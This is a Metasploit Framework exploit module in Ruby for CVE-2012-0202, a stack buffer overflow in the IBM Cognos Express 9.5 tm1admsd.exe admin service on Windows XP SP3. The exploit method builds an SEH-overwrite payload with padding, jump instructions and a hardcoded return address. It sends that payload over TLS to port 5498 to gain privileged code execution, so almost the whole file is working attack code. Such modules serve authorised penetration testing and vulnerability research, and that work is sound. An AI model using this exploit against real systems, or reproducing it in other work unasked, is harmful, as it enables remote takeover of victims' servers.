##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'IBM Cognos tm1admsd.exe Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in IBM Cognos Analytic Server
    Admin service. The vulnerability exists in the tm1admsd.exe component, due to a
    dangerous copy of user controlled data to the stack, via memcpy, without validating
    the supplied length and data. The module has been tested successfully on IBM Cognos
    Express 9.5 over Windows XP SP3.
   },
   'Author'         =>
    [
     'Unknown', # Original discovery
     'juan vazquez' # Metasploit module
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     ['CVE', '2012-0202'],
     ['OSVDB', '80876'],
     ['BID', '52847'],
     ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-101/'],
     ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21590314']
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'SSL' => true,
     'SSLVersion' => 'TLS1'
    },
   'Payload'        =>
    {
     'Space'    => 10359,
     'DisableNops' => true
    },
   'Platform'       => 'win',
   'DefaultTarget'  => 0,
   'Targets'        =>
    [
     # tm1admsd.exe 9.5.10009.10070
     # ret from unicode.nls # call dword ptr ss:[ebp+0x30] # tested over Windows XP SP3 updates
     [ 'IBM Cognos Express 9.5 / Windows XP SP3', { 'Ret' => 0x00280b0b, 'Offset' => 10359 } ]
    ],
   'DisclosureDate' => 'Apr 02 2012'))

   register_options([Opt::RPORT(5498)], self.class)
 end

 def exploit

  sploit = payload.encoded
  sploit << rand_text(target['Offset'] - sploit.length)
  sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset']}").encode_string
  sploit << "\xEB\xF9" + rand_text(2) # jmp $-5
  sploit << [target.ret].pack("V") # seh
  sploit << rand_text(2000) # Trigger exception

  data = rand_text(4)
  data << "\x00\x08" # Opcode
  data << [sploit.length].pack("n") # Length
  data << sploit # Value

  length = [data.length + 2].pack("n")

  req = length
  req << data

  connect
  sock.put(req)
  disconnect

 end
end